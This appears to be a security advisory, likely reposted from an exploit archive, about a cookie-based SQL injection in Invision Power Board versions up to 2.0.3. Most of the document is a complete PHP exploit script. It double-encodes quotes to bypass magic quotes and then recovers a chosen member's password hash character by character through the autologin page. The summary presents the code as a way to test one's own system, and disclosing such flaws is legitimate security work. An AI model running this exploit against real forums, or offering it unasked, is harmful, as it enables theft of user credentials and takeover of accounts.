[EXPL] Invision Power Board SQL Injection (Cookie, Exploit 2)

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  Invision Power Board SQL Injection (Cookie, Exploit 2)
------------------------------------------------------------------------


SUMMARY

 <http://www.invisionboard.com/> Invision Power Board is "a PHP and mySQL 
based forum system".

Invision Power Board is vulnerable to an SQL Injection vulnerability in 
the way it handles cookies, exploiting this vulnerability allows malicious 
attacker to endanger database's integrity, the following exploit code can 
be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:
 * Invision Power Board versions 2.0.0 to 2.0.3
 * Invision Power Board versions 1.3.1 Final and prior

<?php
/*
<= 2.0.3
<= 1.3.1 Final
/str0ke
*/

$server = "SERVER";
$port = 80;
$file = "PATH";

$target = 81;

/* User id and password used to fake-logon are not important. '10' is a
random number. */
$id = 10;
$pass = "";

$hex = "0123456789abcdef";
for($i = 1; $i <= 32; $i++ ) {
  $idx = 0;
  $found = false;

  while( !($found) ) {
    $letter = substr($hex, $idx, 1);
  
    /* %2527 translates to %27, which gets past magic quotes.This is 
translated to ' by urldecode. */
    $cookie ="member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
    $cookie .="%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" 
 $letter;
  
    /* Query is in effect: SELECT * FROM ibf_members
        WHERE id=$id AND password='$pass' ORid=$target
        HAVING id=$target AND MID(`password`,$i,1)='$letter' */
  
    $header = getHeader($server, $port, $file . 
"index.php?act=Login&CODE=autologin", $cookie);
    if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/', $header) ) 
{
      echo $i . ": " . $letter . "\n";
      $found = true;
  
      $hash .= $letter;
    } else {
      $idx++;
    }
  }
}

echo "\n\nFinal Hash: $hash\n";

function getHeader($server, $port, $file, $cookie) {
  $ip = gethostbyname($server);
  $fp = fsockopen($ip, $port);

  if (!$fp) {
      return "Unknown";
  } else {
    $com = "HEAD $file HTTP/1.1\r\n";
    $com .= "Host: $server:$port\r\n";
    $com .= "Cookie: $cookie\r\n";
    $com .= "Connection: close\r\n";
    $com .= "\r\n";

    fputs($fp, $com);

    do {
        $header.= fread($fp, 512);
    } while( !preg_match('/\r\n\r\n$/',$header) );
  }

  return $header;
}
?>


ADDITIONAL INFORMATION

The original article can be found at:  
<http://www.milw0rm.com/id.php?id=1036> 
http://www.milw0rm.com/id.php?id=1036



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